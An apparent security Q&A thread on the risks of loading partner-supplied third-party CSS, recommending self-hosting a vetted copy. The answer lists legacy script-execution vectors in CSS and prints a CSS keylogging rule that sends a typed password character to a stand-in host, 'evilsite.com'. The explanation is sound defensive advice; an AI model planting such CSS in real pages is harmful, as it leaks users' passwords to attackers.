My goal is to allow partners to style their landing pages with their own look and feel by passing us a link to their stylesheet in a URL parameter. Are there security or browser compatibility concerns with loading third-party CSS via JavaScript?
5 Answers
In the event that the 3rd party is hacked and attackers replace the benign css with evil css, you could be vulnerable to:
- css exfiltration attacks*
- targeted strikes that changes to the page's ui that change the meaning in a dangerous way. For example, adding an extra 1 before the dosage of a medicine, making it a fatal dose instead of a treatment. Or hiding the checkout button, making it harder to buy things on your site.
- objectionable content or random advertisements, spam
- legacy browsers running scripts via
expressions(code),behavior:url(),url(javascript:code), and-moz-binding:url(). This is likely obsolete, but may still be relevant in rare cases. - any css attack yet to be developed (trusting 3rd party css opens you up to any and all future css zero-days if the 3rd party is attacked)
The bottom line
Loading 3rd party css is somewhat dangerous as you are increasing your attack surface in the event that the 3rd party is attacked. If possible, store a known, safe version of the 3rd party css on your own server and serve that (basically, convert it to 1st party).
*css exfiltration attack - see https://github.com/maxchehab/CSS-Keylogging. For example, this css will tell the attacker that a user has typed the character "a" in the password field.
input[type="password"][value$="a"] {
background-image: url("http://evilsite.com/a");
}
references: https://jakearchibald.com/2018/third-party-css-is-not-safe/
see also: https://security.stackexchange.com/questions/37832/css-based-attacks
Related